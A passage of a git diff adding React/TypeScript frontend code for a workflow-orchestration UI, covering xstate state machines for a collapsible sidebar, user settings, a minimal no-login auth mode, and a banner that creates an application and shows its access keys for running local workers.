sidebarActor, + (state: State) => + state.matches(PersistableSidebarStates.EXPANDED), + ); + + const openedMenus = useSelector( + sidebarActor!, + (state: State) => state.context.openedMenus, + ); + + const isBannerOpen = useSelector( + sidebarActor!, + (state: State) => state.context.isBannerOpen, + ); + + const isSearchModalOpen = useSelector( + sidebarActor!, + (state: State) => state.context.isSearchModalOpen, + ); + + const handleAnnouncementBanner = (val: boolean) => { + sidebarActor.send({ + type: PersistableSidebarEventTypes.TOGGLE_BANNER_EVENT, + data: { val }, + }); + }; + + const handleSearchModal = (val: boolean) => { + sidebarActor.send({ + type: PersistableSidebarEventTypes.TOGGLE_SEARCH_MODAL_EVENT, + data: { val }, + }); + }; + + const expandSidebar = useCallback(() => { + sidebarActor.send({ + type: PersistableSidebarEventTypes.EXPAND_SIDEBAR_EVENT, + }); + }, [sidebarActor]); + + const collapseSidebar = useCallback(() => { + sidebarActor?.send({ + type: PersistableSidebarEventTypes.COLLAPSE_SIDEBAR_EVENT, + }); + }, [sidebarActor]); + + const addMenu = (id: string) => { + sidebarActor.send({ + type: PersistableSidebarEventTypes.ADD_MENU_EVENT, + data: { id }, + }); + }; + + const removeMenu = (id: string) => { + sidebarActor.send({ + type: PersistableSidebarEventTypes.REMOVE_MENU_EVENT, + data: { id }, + }); + }; + + const setOpenedMenus = (items: string[]) => { + sidebarActor.send({ + type: PersistableSidebarEventTypes.ADD_MENUS_EVENT, + data: { items }, + }); + }; + + const toggleSidebar = () => { + if (isSidebarExpanded) { + collapseSidebar(); + } else { + expandSidebar(); + } + }; + + useEffect(() => { + if (isMobile) { + collapseSidebar(); + } + }, [collapseSidebar, isMobile, location.pathname]); + + return { + openedMenus, + isSidebarHidden: location.pathname === "/login", + isBannerOpen, + isSearchModalOpen, + location, + isSidebarExpanded, + handleAnnouncementBanner, + handleSearchModal, + collapseSidebar, + toggleSidebar, + addMenu, + removeMenu, + setOpenedMenus, + }; +}; diff --git a/ui-next/src/shared/PersistableSidebar/state/machine.ts b/ui-next/src/shared/PersistableSidebar/state/machine.ts new file mode 100644 index 0000000..370bce0 --- /dev/null +++ b/ui-next/src/shared/PersistableSidebar/state/machine.ts @@ -0,0 +1,77 @@ +import { createMachine } from "xstate"; +import { + PersistableSidebarEvent, + PersistableSidebarEventTypes, + PersistableSidebarStates, + SidebarMachineContext, +} from "./types"; +import * as actions from "./actions"; +import * as services from "./services"; + +export const sidebarMachine = createMachine< + SidebarMachineContext, + PersistableSidebarEvent +>( + { + id: "sidebarMachine", + predictableActionArguments: true, + initial: PersistableSidebarStates.INIT, + context: { + openedMenus: [], + stashedMenus: [], + isBannerOpen: true, + isSearchModalOpen: false, + }, + on: { + [PersistableSidebarEventTypes.TOGGLE_BANNER_EVENT]: { + actions: "persistBannerStateInContext", + }, + [PersistableSidebarEventTypes.TOGGLE_SEARCH_MODAL_EVENT]: { + actions: "persistSearchModalStateInContext", + }, + [PersistableSidebarEventTypes.ADD_MENU_EVENT]: { + actions: "addInOpenedMenus", + }, + [PersistableSidebarEventTypes.REMOVE_MENU_EVENT]: { + actions: "removeFromOpenedMenus", + }, + [PersistableSidebarEventTypes.ADD_MENUS_EVENT]: { + actions: "setOpenedMenus", + }, + }, + states: { + [PersistableSidebarStates.INIT]: { + invoke: { + src: "getOpenedMenusFromLocalStorage", + onDone: { + target: PersistableSidebarStates.EXPANDED, + actions: "persistOpenedMenus", + }, + onError: { + target: PersistableSidebarStates.EXPANDED, + }, + }, + }, + [PersistableSidebarStates.EXPANDED]: { + on: { + [PersistableSidebarEventTypes.COLLAPSE_SIDEBAR_EVENT]: { + actions: "clearMenuState", + target: PersistableSidebarStates.COLLAPSED, + }, + }, + }, + [PersistableSidebarStates.COLLAPSED]: { + on: { + [PersistableSidebarEventTypes.EXPAND_SIDEBAR_EVENT]: { + actions: "restoreMenuState", + target: PersistableSidebarStates.EXPANDED, + }, + }, + }, + }, + }, + { + actions: actions as any, + services: services as any, + }, +); diff --git a/ui-next/src/shared/PersistableSidebar/state/services.ts b/ui-next/src/shared/PersistableSidebar/state/services.ts new file mode 100644 index 0000000..976962e --- /dev/null +++ b/ui-next/src/shared/PersistableSidebar/state/services.ts @@ -0,0 +1,28 @@ +import { tryToJson } from "utils/utils"; + +export const MENU_ITEMS_LOCAL_STORAGE_KEY = "menuItems"; + +const defaultOpenedMenus = [ + "executionsSubMenu", + "definitionsSubMenu", + "adminSubMenu", +]; + +export const getOpenedMenusFromLocalStorage = async () => { + try { + const openedMenusInLocalStorage = localStorage.getItem( + MENU_ITEMS_LOCAL_STORAGE_KEY, + ); + + if (typeof openedMenusInLocalStorage === "string") { + const parsedMenus = tryToJson(openedMenusInLocalStorage) as string[]; + + if (Array.isArray(parsedMenus) && parsedMenus.length > 0) { + return parsedMenus; + } + } + return defaultOpenedMenus; + } catch { + return Promise.reject("Error while getting opened menus "); + } +}; diff --git a/ui-next/src/shared/PersistableSidebar/state/types.ts b/ui-next/src/shared/PersistableSidebar/state/types.ts new file mode 100644 index 0000000..9e3e09d --- /dev/null +++ b/ui-next/src/shared/PersistableSidebar/state/types.ts @@ -0,0 +1,68 @@ +export interface SidebarMachineContext { + openedMenus: string[]; + stashedMenus: string[]; + isBannerOpen: boolean; + isSearchModalOpen: boolean; +} + +export enum PersistableSidebarStates { + INIT = "INIT", + EXPANDED = "EXPANDED", + COLLAPSED = "COLLAPSED", +} + +export enum PersistableSidebarEventTypes { + TOGGLE_BANNER_EVENT = "TOGGLE_BANNER_EVENT", + TOGGLE_SEARCH_MODAL_EVENT = "TOGGLE_SEARCH_MODAL_EVENT", + COLLAPSE_SIDEBAR_EVENT = "COLLAPSE_SIDEBAR_EVENT", + EXPAND_SIDEBAR_EVENT = "EXPAND_SIDEBAR_EVENT", + ADD_MENU_EVENT = "ADD_MENU_EVENT", + REMOVE_MENU_EVENT = "REMOVE_MENU_EVENT", + ADD_MENUS_EVENT = "ADD_MENUS_EVENT", +} + +export type ToggleBannerEventType = { + type: PersistableSidebarEventTypes.TOGGLE_BANNER_EVENT; + data: { + val: boolean; + }; +}; + +export type ToggleSearchModalEventType = { + type: PersistableSidebarEventTypes.TOGGLE_SEARCH_MODAL_EVENT; + data: { + val: boolean; + }; +}; + +export type CollapseSidebarEventType = { + type: PersistableSidebarEventTypes.COLLAPSE_SIDEBAR_EVENT; +}; + +export type ExpandSidebarEventType = { + type: PersistableSidebarEventTypes.EXPAND_SIDEBAR_EVENT; +}; + +export type AddMenuEventType = { + type: PersistableSidebarEventTypes.ADD_MENU_EVENT; + data: { id: string }; +}; + +export type RemoveMenuEventType = { + type: PersistableSidebarEventTypes.REMOVE_MENU_EVENT; + data: { id: string }; +}; + +export type AddMenusEventType = { + type: PersistableSidebarEventTypes.ADD_MENUS_EVENT; + data: { items: string[] }; +}; + +export type PersistableSidebarEvent = + | ToggleBannerEventType + | ToggleSearchModalEventType + | CollapseSidebarEventType + | ExpandSidebarEventType + | AddMenuEventType + | RemoveMenuEventType + | AddMenusEventType; diff --git a/ui-next/src/shared/UserSettingsContext.ts b/ui-next/src/shared/UserSettingsContext.ts new file mode 100644 index 0000000..e1597f9 --- /dev/null +++ b/ui-next/src/shared/UserSettingsContext.ts @@ -0,0 +1,11 @@ +import { createContext } from "react"; +import { InterpreterFrom } from "xstate"; +import { userSettingsMachine } from "./state/userSettingsMachine"; + +export interface UserSettingsContextValue { + userSettingsService: InterpreterFrom; +} + +export const UserSettingsContext = createContext< + UserSettingsContextValue | undefined +>(undefined); diff --git a/ui-next/src/shared/UserSettingsProvider.tsx b/ui-next/src/shared/UserSettingsProvider.tsx new file mode 100644 index 0000000..11113b0 --- /dev/null +++ b/ui-next/src/shared/UserSettingsProvider.tsx @@ -0,0 +1,22 @@ +import { useInterpret } from "@xstate/react"; +import { FunctionComponent, ReactNode, useMemo } from "react"; +import { userSettingsMachine } from "./state/userSettingsMachine"; +import { UserSettingsContext } from "./UserSettingsContext"; + +interface UserSettingsProviderProps { + children: ReactNode; +} + +export const UserSettingsProvider: FunctionComponent< + UserSettingsProviderProps +> = ({ children }) => { + const service = useInterpret(userSettingsMachine); + + const value = useMemo(() => ({ userSettingsService: service }), [service]); + + return ( + + {children} + + ); +}; diff --git a/ui-next/src/shared/createAndDisplayApplication/MetadataBanner.tsx b/ui-next/src/shared/createAndDisplayApplication/MetadataBanner.tsx new file mode 100644 index 0000000..b7e2079 --- /dev/null +++ b/ui-next/src/shared/createAndDisplayApplication/MetadataBanner.tsx @@ -0,0 +1,287 @@ +import { + Box, + IconButton, + Paper, + Typography, + Button, + Alert, + Fade, +} from "@mui/material"; +import ContentCopyIcon from "@mui/icons-material/ContentCopy"; +import KeyIcon from "@mui/icons-material/Key"; +import CloseIcon from "@mui/icons-material/Close"; +import { ReactElement, useState } from "react"; +import { ActorRef } from "xstate"; +import { useSelector } from "@xstate/react"; +import { + AccessKey, + CreateAndDisplayApplicationEvents, + CreateAndDisplayApplicationMachineEventTypes, +} from "./state/types"; +import { LibraryBooks } from "@mui/icons-material"; +import { logrocketTrackIfEnabled } from "utils/logrocket"; + +interface MetadataBannerStatelessProps { + installScript?: string; + readme?: string; + isDisplayKeys: boolean; + isErrorCreatingApp?: boolean; + applicationAccessKey: AccessKey; // Using 'any' here since the type isn't clear from the original code + onCopy: () => void; + onClose?: () => void; + KeysDisplayerComponent: (props: { + onClose: () => void; + accessKeys: AccessKey; + }) => ReactElement; + onGetAccessKey: () => void; + onRecreateKeys: () => void; + onCloseKeysDialog: () => void; + errorCreatingAppMessage?: string; +} + +export const MetadataBannerStateless = ({ + installScript, + isDisplayKeys, + applicationAccessKey, + readme, + onCopy, + onClose, + onGetAccessKey, + onRecreateKeys, + onCloseKeysDialog, + KeysDisplayerComponent, + isErrorCreatingApp, + errorCreatingAppMessage, +}: MetadataBannerStatelessProps) => { + return installScript == null ? null : ( + + {onClose != null ? ( + + + + ) : null} + + Local Workers Needed + + + + 1. You need to run local workers to try out this workflow. Copy/Paste + this Command into your Terminal. + + + + + {installScript || "$"} + + + + + + + 2. When prompted, enter your Access ID + Key from the button below. + + + {applicationAccessKey == null ? ( + + ) : ( + + )} + {readme ? ( + + ) : null} + + {isDisplayKeys && ( + + )} + +
      + + {errorCreatingAppMessage} + +
      +       +       + ); +}; + +interface MetadataBannerProps { + createAndDisplayAppActor: ActorRef; + KeysDisplayerComponent: (props: { + onClose: () => void; + accessKeys: AccessKey; + }) => ReactElement; + onClose?: () => void; + installScript?: string; + readme?: string; +} + +export const MetadataBanner = ({ + createAndDisplayAppActor: metadataEditorActor, + onClose, + installScript, + readme, + KeysDisplayerComponent, +}: MetadataBannerProps) => { + const isDisplayKeys = useSelector(metadataEditorActor, (state) => + state.hasTag("displayKeys"), + ); + const isErrorCreatingApp = useSelector(metadataEditorActor, (state) => + state.hasTag("displayError"), + ); + const errorCreatingAppMessage = useSelector( + metadataEditorActor, + (state) => state.context.errorCreatingAppMessage, + ); + const applicationAccessKey = useSelector( + metadataEditorActor, + (state) => state.context.applicationAccessKey, + ); + + const [, setCopied] = useState(false); + + const handleCopy = async () => { + try { + await navigator.clipboard.writeText(installScript || ""); + setCopied(true); + setTimeout(() => setCopied(false), 2000); + logrocketTrackIfEnabled("user_copy_install_script", { installScript }); + } catch (err) { + console.error("Failed to copy text: ", err); + } + }; + + const handleGetAccessKey = () => { + metadataEditorActor.send({ + type: CreateAndDisplayApplicationMachineEventTypes.CREATE_APPLICATION, + }); + + logrocketTrackIfEnabled("user_created_access_key_in_metadata_banner"); + }; + + const handleCloseKeysDialog = () => { + metadataEditorActor.send({ + type: CreateAndDisplayApplicationMachineEventTypes.CLOSE_KEYS_DIALOG, + }); + }; + + const handleRecreateKeys = () => { + metadataEditorActor.send({ + type: CreateAndDisplayApplicationMachineEventTypes.RECREATE_KEYS, + }); + }; + + return ( + + ); +}; diff --git a/ui-next/src/shared/createAndDisplayApplication/state/actions.ts b/ui-next/src/shared/createAndDisplayApplication/state/actions.ts new file mode 100644 index 0000000..f323948 --- /dev/null +++ b/ui-next/src/shared/createAndDisplayApplication/state/actions.ts @@ -0,0 +1,36 @@ +import { assign, DoneInvokeEvent } from "xstate"; +import { CreateAndDisplayApplicationMachineContext } from "./types"; + +export const persistApplicationKeys = assign< + CreateAndDisplayApplicationMachineContext, + DoneInvokeEvent<{ id: string; secret: string }> +>((_context, { data }) => { + return { + applicationAccessKey: { + id: data.id, + secret: data.secret, + }, + }; +}); + +export const persistApplicationId = assign< + CreateAndDisplayApplicationMachineContext, + DoneInvokeEvent<{ id: string }> +>((_context, { data }) => { + return { + applicationId: data.id, + }; +}); + +export const persistError = assign< + CreateAndDisplayApplicationMachineContext, + DoneInvokeEvent<{ message: string }> +>((_context, { data }) => { + return { errorCreatingAppMessage: data.message }; +}); + +export const clearError = assign( + () => { + return { errorCreatingAppMessage: undefined }; + }, +); diff --git a/ui-next/src/shared/createAndDisplayApplication/state/guards.ts b/ui-next/src/shared/createAndDisplayApplication/state/guards.ts new file mode 100644 index 0000000..dd86ba5 --- /dev/null +++ b/ui-next/src/shared/createAndDisplayApplication/state/guards.ts @@ -0,0 +1,7 @@ +import { CreateAndDisplayApplicationMachineContext } from "./types"; + +export const isApplicationCreated = ({ + applicationId, +}: CreateAndDisplayApplicationMachineContext) => { + return applicationId !== undefined; +}; diff --git a/ui-next/src/shared/createAndDisplayApplication/state/machine.ts b/ui-next/src/shared/createAndDisplayApplication/state/machine.ts new file mode 100644 index 0000000..67b6818 --- /dev/null +++ b/ui-next/src/shared/createAndDisplayApplication/state/machine.ts @@ -0,0 +1,112 @@ +import { createMachine } from "xstate"; +import { + CreateAndDisplayApplicationMachineContext, + CreateAndDisplayApplicationEvents, + CreateAndDisplayApplicationMachineEventTypes, +} from "./types"; +import * as services from "./services"; +import * as actions from "./actions"; +import * as guards from "./guards"; + +export const createAndDisplayApplicationMachine = createMachine< + CreateAndDisplayApplicationMachineContext, + CreateAndDisplayApplicationEvents +>( + { + id: "createAndDisplayApplicationMachine", + predictableActionArguments: true, + context: { + applicationAccessKey: undefined, + }, + initial: "fetchForExistingApplication", + states: { + fetchForExistingApplication: { + invoke: { + src: "checkIfAppExistsAndCompatible", + onDone: [ + { + cond: (_context, { data }) => data.id !== null, + actions: ["persistApplicationId"], + target: "idle", + }, + { + target: "idle", + }, + ], + }, + }, + idle: { + on: { + [CreateAndDisplayApplicationMachineEventTypes.CREATE_APPLICATION]: { + target: "shouldCreateApplication", + }, + [CreateAndDisplayApplicationMachineEventTypes.RECREATE_KEYS]: { + target: "generateKeys", + }, + }, + }, + shouldCreateApplication: { + always: [ + { + cond: "isApplicationCreated", + target: "generateKeys", + }, + { + target: "createApplication", + }, + ], + }, + generateKeys: { + invoke: { + src: "generateKeys", + onDone: { + target: "displayKeys", + actions: ["persistApplicationKeys"], + }, + onError: { + target: "errorCreatingApplication", + actions: ["persistError"], + }, + }, + }, + createApplication: { + invoke: { + src: "createApplicationWithRoles", + onDone: { + target: "generateKeys", + actions: ["persistApplicationId"], + }, + onError: { + target: "errorCreatingApplication", + actions: ["persistError"], + }, + }, + }, + displayKeys: { + tags: ["displayKeys"], + on: { + [CreateAndDisplayApplicationMachineEventTypes.CLOSE_KEYS_DIALOG]: { + target: "idle", + }, + [CreateAndDisplayApplicationMachineEventTypes.RECREATE_KEYS]: { + target: "generateKeys", + }, + }, + }, + errorCreatingApplication: { + tags: ["displayError"], + after: { + 3000: { + target: "idle", + actions: ["clearError"], + }, + }, + }, + }, + }, + { + actions: actions as any, + guards: guards as any, + services: services as any, + }, +); diff --git a/ui-next/src/shared/createAndDisplayApplication/state/services.ts b/ui-next/src/shared/createAndDisplayApplication/state/services.ts new file mode 100644 index 0000000..193a163 --- /dev/null +++ b/ui-next/src/shared/createAndDisplayApplication/state/services.ts @@ -0,0 +1,137 @@ +import { fetchWithContext } from "plugins/fetch"; +import { CreateAndDisplayApplicationMachineContext } from "./types"; +import { FEATURES, featureFlags } from "utils/flags"; +import { getErrorMessage } from "utils/utils"; +import { AccessRole, User } from "types/User"; +// const fetchContext = fetchContextNonHook(); + +export const createApplication = async ( + context: CreateAndDisplayApplicationMachineContext, +) => { + const { authHeaders, applicationName } = context; + try { + return await fetchWithContext( + "/applications", + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: JSON.stringify({ name: applicationName }), + }, + ); + } catch (error: any) { + const errorMessage = await getErrorMessage(error); + throw new Error(errorMessage ?? "Failed to create application"); + } +}; + +export const fetchForAppDetails = async ( + context: CreateAndDisplayApplicationMachineContext, +): Promise => { + const { authHeaders, applicationId } = context; + const path = `/users/app:${applicationId}`; + + const appDetails = await fetchWithContext( + path, + {}, + { + method: "GET", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + }, + ); + return appDetails; +}; + +export const checkIfAppExistsAndCompatible = async ( + context: CreateAndDisplayApplicationMachineContext, +) => { + // Workflow metadata always spawns this machine; OSS has no applications API. + if (!featureFlags.isEnabled(FEATURES.ACCESS_MANAGEMENT)) { + return { id: null }; + } + const { authHeaders, applicationName } = context; + try { + const appList = await fetchWithContext( + "/applications", + {}, + { + method: "GET", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + }, + ); + + const app = appList.find((app: any) => app.name === applicationName); + + if (app) { + const appUserDetails = await fetchForAppDetails({ + ...context, + applicationId: app.id, + }); + if ( + appUserDetails.roles.find( + (role: AccessRole) => role.name === "UNRESTRICTED_WORKER", + ) + ) { + return { id: app.id }; + } + } + + return { id: null }; + } catch (error: any) { + const errorMessage = await getErrorMessage(error); + throw new Error(errorMessage ?? "Failed to create application"); + } +}; + +export const createApplicationWithRoles = async ( + context: CreateAndDisplayApplicationMachineContext, +) => { + const { authHeaders } = context; + const appCreateResponse = await createApplication(context); + const { id } = appCreateResponse; + + const path = `/applications/${id}/roles/UNRESTRICTED_WORKER`; + + try { + await fetchWithContext( + path, + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + }, + ); + return appCreateResponse; + } catch (error: any) { + const errorMessage = await getErrorMessage(error); + throw new Error(errorMessage ?? "Failed to create application"); + } +}; + +export const generateKeys = async ( + context: CreateAndDisplayApplicationMachineContext, +) => { + const { authHeaders, applicationId } = context; + const path = `/applications/${applicationId}/accessKeys`; + try { + return await fetchWithContext( + path, + {}, + { method: "POST", headers: { ...authHeaders } }, + ); + } catch { + throw new Error("Failed to generate keys"); + } +}; diff --git a/ui-next/src/shared/createAndDisplayApplication/state/types.ts b/ui-next/src/shared/createAndDisplayApplication/state/types.ts new file mode 100644 index 0000000..cac00a8 --- /dev/null +++ b/ui-next/src/shared/createAndDisplayApplication/state/types.ts @@ -0,0 +1,37 @@ +import { AuthHeaders } from "types/common"; + +export interface AccessKey { + id: string; + secret: string; +} + +export type CreateAndDisplayApplicationMachineContext = { + applicationAccessKey?: AccessKey; + authHeaders?: AuthHeaders; + applicationName?: string; + applicationId?: string; + errorCreatingAppMessage?: string; +}; + +export enum CreateAndDisplayApplicationMachineEventTypes { + CREATE_APPLICATION = "CREATE_APPLICATION", + CLOSE_KEYS_DIALOG = "CLOSE_KEYS_DIALOG", + RECREATE_KEYS = "RECREATE_KEYS", +} + +export type CreateApplicationEvent = { + type: CreateAndDisplayApplicationMachineEventTypes.CREATE_APPLICATION; +}; + +export type CloseKeysDialogEvent = { + type: CreateAndDisplayApplicationMachineEventTypes.CLOSE_KEYS_DIALOG; +}; + +export type RecreateApplicationEvent = { + type: CreateAndDisplayApplicationMachineEventTypes.RECREATE_KEYS; +}; + +export type CreateAndDisplayApplicationEvents = + | CreateApplicationEvent + | CloseKeysDialogEvent + | RecreateApplicationEvent; diff --git a/ui-next/src/shared/editor.ts b/ui-next/src/shared/editor.ts new file mode 100644 index 0000000..ce412c7 --- /dev/null +++ b/ui-next/src/shared/editor.ts @@ -0,0 +1,11 @@ +import { editor } from "monaco-editor"; + +export type EditorOptions = editor.IStandaloneEditorConstructionOptions; +export type DiffEditorOptions = editor.IDiffEditorConstructionOptions; +export { editor }; + +export const defaultEditorOptions: EditorOptions = { + stickyScroll: { + enabled: false, + }, +}; diff --git a/ui-next/src/shared/icons/FitToFrame.tsx b/ui-next/src/shared/icons/FitToFrame.tsx new file mode 100644 index 0000000..42e92aa --- /dev/null +++ b/ui-next/src/shared/icons/FitToFrame.tsx @@ -0,0 +1,18 @@ +function Icon({ size = "20", color = "#000000" }) { + return ( + + + + ); +} + +export default Icon; diff --git a/ui-next/src/shared/state/index.ts b/ui-next/src/shared/state/index.ts new file mode 100644 index 0000000..6790464 --- /dev/null +++ b/ui-next/src/shared/state/index.ts @@ -0,0 +1,3 @@ +export * from "./machine"; +export * from "./types"; +export * from "./selectors"; diff --git a/ui-next/src/shared/state/machine.ts b/ui-next/src/shared/state/machine.ts new file mode 100644 index 0000000..f9c000a --- /dev/null +++ b/ui-next/src/shared/state/machine.ts @@ -0,0 +1,45 @@ +/** + * Minimal auth state machine for OSS mode (no authentication). + * Full auth implementation has been moved to the enterprise package. + * + * This minimal machine only handles the NO_USER_MANAGEMENT state + * and spawns the sidebar machine for UI state management. + */ +import { createMachine } from "xstate"; +import { + AuthProviderMachineContext, + AuthProviderStates, + SupportedProviders, +} from "./types"; +import { sidebarMachine } from "shared/PersistableSidebar/state/machine"; + +export const authProviderMachine = createMachine({ + id: "authProviderMachine", + predictableActionArguments: true, + initial: AuthProviderStates.UNLOGGED, + context: { + provider: SupportedProviders.NO_USER, + error: undefined, + providerUser: undefined, + isTrialExpired: false, + isAnnouncementBannerDismissed: false, + }, + states: { + [AuthProviderStates.UNLOGGED]: { + initial: AuthProviderStates.NO_USER_MANAGEMENT, + states: { + [AuthProviderStates.NO_USER_MANAGEMENT]: { + initial: AuthProviderStates.SIDEBAR_INIT, + states: { + [AuthProviderStates.SIDEBAR_INIT]: { + invoke: { + src: sidebarMachine, + id: "sidebarMachine", + }, + }, + }, + }, + }, + }, + }, +}); diff --git a/ui-next/src/shared/state/selectors.ts b/ui-next/src/shared/state/selectors.ts new file mode 100644 index 0000000..3f3dc7b --- /dev/null +++ b/ui-next/src/shared/state/selectors.ts @@ -0,0 +1,27 @@ +import { State } from "xstate"; +import { AuthProviderMachineContext, AuthProviderStates } from "./types"; + +export const isAuthenticated = (state: State) => + state.matches(AuthProviderStates.LOGGED_USER); + +export const noUserManagement = (state: State) => + state.matches([ + AuthProviderStates.UNLOGGED, + AuthProviderStates.NO_USER_MANAGEMENT, + ]); + +export const getUserPersistableProfileActor = ( + state: State, +) => state.children["userPersistableProfileMachine"]; + +export const isSidebarInitialized = ( + state: State, +) => + state.matches([ + AuthProviderStates.LOGGED_USER, + AuthProviderStates.SIDEBAR_INIT, + ]) || + state.matches([ + AuthProviderStates.UNLOGGED, + AuthProviderStates.NO_USER_MANAGEMENT, + ]); diff --git a/ui-next/src/shared/state/types.ts b/ui-next/src/shared/state/types.ts new file mode 100644 index 0000000..6d15ee5 --- /dev/null +++ b/ui-next/src/shared/state/types.ts @@ -0,0 +1,76 @@ +/** + * Minimal auth state types for OSS mode (no authentication). + * Full auth implementation has been moved to the enterprise package. + */ + +/** + * Supported auth providers. In OSS, only NO_USER is used. + */ +export enum SupportedProviders { + AUTH_0 = "auth0", + OKTA = "okta", + OIDC = "oidc", + NO_USER = "NO_USER", +} + +/** + * Auth provider states. In OSS, only UNLOGGED, NO_USER_MANAGEMENT, and SIDEBAR_INIT are used. + */ +export enum AuthProviderStates { + UNLOGGED = "UNLOGGED", + NO_USER_MANAGEMENT = "NO_USER_MANAGEMENT", + SIDEBAR_INIT = "SIDEBAR_INIT", + // Keep these for type compatibility with selectors + LOGGED_USER = "LOGGED_USER", + MANAGE_PROVIDER = "MANAGE_PROVIDER", +} + +/** + * Auth machine event types. In OSS, most events are no-ops. + */ +export enum AuthMachineEventTypes { + LOGOUT = "LOGOUT", + SOLVE_EXPIRED_TOKEN = "SOLVE_EXPIRED_TOKEN", + DISMISS_ANNOUNCEMENT_BANNER = "DISMISS_ANNOUNCEMENT_BANNER", + // Keep these for type compatibility + SET_USER_CREDENTIALS = "SET_USER_CREDENTIALS", + SET_PROVIDER_USER = "SET_PROVIDER_USER", + SET_TOKEN = "SET_TOKEN", + FETCH_FOR_USER_INFO = "FETCH_FOR_USER_INFO", + FETCH_TOKEN = "FETCH_TOKEN", + REFRESH_OIDC_TOKEN = "REFRESH_OIDC_TOKEN", + REDIRECT_TO_AUTHORIZATION_ENDPOINT = "REDIRECT_TO_AUTHORIZATION_ENDPOINT", +} + +/** + * Minimal auth provider machine context for OSS mode. + */ +export interface AuthProviderMachineContext { + provider: SupportedProviders; + error?: unknown; + providerUser?: unknown; + conductorUser?: { id: string }; + isTrialExpired: boolean; + trialExpiryDate?: number | Date; + limits?: unknown; + isAnnouncementBannerDismissed: boolean; + oidcConfig?: unknown; +} + +/** + * Auth provider machine events union type. + */ +export type AuthProviderMachineEvents = + | { type: AuthMachineEventTypes.LOGOUT } + | { type: AuthMachineEventTypes.SOLVE_EXPIRED_TOKEN } + | { type: AuthMachineEventTypes.DISMISS_ANNOUNCEMENT_BANNER } + | { type: AuthMachineEventTypes.SET_TOKEN; data: { token: string } } + | { type: AuthMachineEventTypes.SET_PROVIDER_USER; user: unknown } + | { + type: AuthMachineEventTypes.REDIRECT_TO_AUTHORIZATION_ENDPOINT; + currentPath: string; + } + | { + type: AuthMachineEventTypes.FETCH_TOKEN; + data: { code?: string; state?: string }; + }; diff --git a/ui-next/src/shared/state/userSettingsMachine/actions.ts b/ui-next/src/shared/state/userSettingsMachine/actions.ts new file mode 100644 index 0000000..3800b95 --- /dev/null +++ b/ui-next/src/shared/state/userSettingsMachine/actions.ts @@ -0,0 +1,53 @@ +import { assign, DoneInvokeEvent } from "xstate"; +import { + UserSettingsMachineContext, + SetFirstWorkflowExecutedEvent, + AddDismissedMessageEvent, + SetDismissAllMessagesEvent, +} from "./types"; + +export const hydrateFromStorage = assign< + UserSettingsMachineContext, + DoneInvokeEvent> +>((context, event) => { + const loadedData = event.data; + return { + firstWorkflowExecuted: + loadedData.firstWorkflowExecuted ?? context.firstWorkflowExecuted, + dismissedMessages: + loadedData.dismissedMessages ?? context.dismissedMessages, + dismissAllMessages: + loadedData.dismissAllMessages ?? context.dismissAllMessages, + isShowingConfettiThisSession: false, + }; +}); + +export const persistFirstWorkflowExecuted = assign< + UserSettingsMachineContext, + SetFirstWorkflowExecutedEvent +>({ + firstWorkflowExecuted: (_, event) => event.value, + isShowingConfettiThisSession: (context, event) => + !context.firstWorkflowExecuted && event.value === true + ? true + : context.isShowingConfettiThisSession, +}); + +export const persistDismissedMessage = assign< + UserSettingsMachineContext, + AddDismissedMessageEvent +>({ + dismissedMessages: (context, event) => { + if (context.dismissedMessages.includes(event.messageId)) { + return context.dismissedMessages; + } + return [...context.dismissedMessages, event.messageId]; + }, +}); + +export const persistDismissAllMessages = assign< + UserSettingsMachineContext, + SetDismissAllMessagesEvent +>({ + dismissAllMessages: (_, event) => event.value, +}); diff --git a/ui-next/src/shared/state/userSettingsMachine/guards.ts b/ui-next/src/shared/state/userSettingsMachine/guards.ts new file mode 100644 index 0000000..e88bf1c --- /dev/null +++ b/ui-next/src/shared/state/userSettingsMachine/guards.ts @@ -0,0 +1,11 @@ +import { + UserSettingsMachineContext, + SetFirstWorkflowExecutedEvent, +} from "./types"; + +export const isFirstWorkflowCompleted = ( + context: UserSettingsMachineContext, + event: SetFirstWorkflowExecutedEvent, +) => { + return !context.firstWorkflowExecuted && event.value === true; +}; diff --git a/ui-next/src/shared/state/userSettingsMachine/index.ts b/ui-next/src/shared/state/userSettingsMachine/index.ts new file mode 100644 index 0000000..3682892 --- /dev/null +++ b/ui-next/src/shared/state/userSettingsMachine/index.ts @@ -0,0 +1,2 @@ +export { userSettingsMachine } from "./machine"; +export * from "./types"; diff --git a/ui-next/src/shared/state/userSettingsMachine/machine.ts b/ui-next/src/shared/state/userSettingsMachine/machine.ts new file mode 100644 index 0000000..6edde92 --- /dev/null +++ b/ui-next/src/shared/state/userSettingsMachine/machine.ts @@ -0,0 +1,90 @@ +import { createMachine } from "xstate"; +import { + UserSettingsMachineContext, + UserSettingsStates, + UserSettingsEvents, + UserSettingsEventTypes, +} from "./types"; +import * as actions from "./actions"; +import * as services from "./services"; +import * as guards from "./guards"; + +export const userSettingsMachine = createMachine< + UserSettingsMachineContext, + UserSettingsEvents +>( + { + id: "userSettingsMachine", + predictableActionArguments: true, + initial: UserSettingsStates.INIT, + context: { + firstWorkflowExecuted: false, + dismissedMessages: [], + dismissAllMessages: false, + isShowingConfettiThisSession: false, + }, + states: { + [UserSettingsStates.INIT]: { + always: { + target: UserSettingsStates.LOADING_FROM_STORAGE, + }, + }, + [UserSettingsStates.LOADING_FROM_STORAGE]: { + invoke: { + src: "loadFromLocalStorage", + onDone: { + target: UserSettingsStates.READY, + actions: "hydrateFromStorage", + }, + onError: { + target: UserSettingsStates.READY, + }, + }, + }, + [UserSettingsStates.READY]: { + on: { + [UserSettingsEventTypes.SET_FIRST_WORKFLOW_EXECUTED]: [ + { + cond: "isFirstWorkflowCompleted", + actions: "persistFirstWorkflowExecuted", + target: UserSettingsStates.SHOWING_CONFETTI, + }, + { + actions: "persistFirstWorkflowExecuted", + target: UserSettingsStates.SAVING_TO_STORAGE, + }, + ], + [UserSettingsEventTypes.ADD_DISMISSED_MESSAGE]: { + actions: "persistDismissedMessage", + target: UserSettingsStates.SAVING_TO_STORAGE, + }, + [UserSettingsEventTypes.SET_DISMISS_ALL_MESSAGES]: { + actions: "persistDismissAllMessages", + target: UserSettingsStates.SAVING_TO_STORAGE, + }, + }, + }, + [UserSettingsStates.SHOWING_CONFETTI]: { + always: { + target: 